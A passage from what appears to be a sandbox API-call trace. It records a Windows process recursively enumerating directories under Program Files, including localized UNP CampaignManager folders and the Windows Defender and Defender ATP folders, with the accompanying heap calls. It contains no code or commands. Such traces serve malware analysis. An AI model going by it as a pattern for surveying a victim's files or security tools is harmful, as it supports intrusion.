ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.042] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.043] GetProcessHeap () returned 0xaf0000 [0295.043] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.043] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0295.043] GetProcessHeap () returned 0xaf0000 [0295.043] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.044] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.045] GetProcessHeap () returned 0xaf0000 [0295.045] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.046] GetProcessHeap () returned 0xaf0000 [0295.046] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.048] GetProcessHeap () returned 0xaf0000 [0295.048] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.048] GetProcessHeap () returned 0xaf0000 [0295.048] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.050] GetProcessHeap () returned 0xaf0000 [0295.050] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.051] GetProcessHeap () returned 0xaf0000 [0295.051] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.336] GetProcessHeap () returned 0xaf0000 [0295.336] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.336] GetProcessHeap () returned 0xaf0000 [0295.336] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.665] GetProcessHeap () returned 0xaf0000 [0295.665] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.665] GetProcessHeap () returned 0xaf0000 [0295.665] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.668] GetProcessHeap () returned 0xaf0000 [0295.668] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.668] GetProcessHeap () returned 0xaf0000 [0295.668] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.669] GetProcessHeap () returned 0xaf0000 [0295.669] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.669] GetProcessHeap () returned 0xaf0000 [0295.669] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.671] GetProcessHeap () returned 0xaf0000 [0295.671] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.671] GetProcessHeap () returned 0xaf0000 [0295.671] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.673] GetProcessHeap () returned 0xaf0000 [0295.673] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.673] GetProcessHeap () returned 0xaf0000 [0295.673] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0295.676] GetProcessHeap () returned 0xaf0000 [0295.676] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.676] GetProcessHeap () returned 0xaf0000 [0295.676] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.678] GetProcessHeap () returned 0xaf0000 [0295.678] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.678] GetProcessHeap () returned 0xaf0000 [0295.678] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.680] GetProcessHeap () returned 0xaf0000 [0295.680] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.680] GetProcessHeap () returned 0xaf0000 [0295.680] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.682] GetProcessHeap () returned 0xaf0000 [0295.682] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.682] GetProcessHeap () returned 0xaf0000 [0295.682] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.684] GetProcessHeap () returned 0xaf0000 [0295.684] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.684] GetProcessHeap () returned 0xaf0000 [0295.684] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.686] GetProcessHeap () returned 0xaf0000 [0295.687] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.687] GetProcessHeap () returned 0xaf0000 [0295.687] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.689] GetProcessHeap () returned 0xaf0000 [0295.689] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.689] GetProcessHeap () returned 0xaf0000 [0295.689] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.691] GetProcessHeap () returned 0xaf0000 [0295.691] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.692] GetProcessHeap () returned 0xaf0000 [0295.692] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.694] GetProcessHeap () returned 0xaf0000 [0295.694] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.694] GetProcessHeap () returned 0xaf0000 [0295.694] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0295.696] GetProcessHeap () returned 0xaf0000 [0295.696] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0295.696] GetProcessHeap () returned 0xaf0000 [0295.696] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0295.697] GetProcessHeap () returned 0xaf0000 [0295.697] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0295.697] GetProcessHeap () returned 0xaf0000 [0295.697] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0295.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xac771e9f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xac771e9f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0295.700] GetProcessHeap () returned 0xaf0000 [0295.700] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0295.700] GetProcessHeap () returned 0xaf0000 [0295.700] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0295.701] GetProcessHeap () returned 0xaf0000 [0295.701] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0295.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8cc3a31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8cc3a31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0295.702] GetProcessHeap () returned 0xaf0000 [0295.702] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0295.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0295.705] GetProcessHeap () returned 0xaf0000 [0295.705] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0295.705] GetProcessHeap () returned 0xaf0000 [0295.705] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0295.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.706] GetProcessHeap () returned 0xaf0000 [0295.706] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0295.706] GetProcessHeap () returned 0xaf0000 [0295.706] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0295.706] GetProcessHeap () returned 0xaf0000 [0295.706] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0295.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xec1abf78, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1abf78, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, 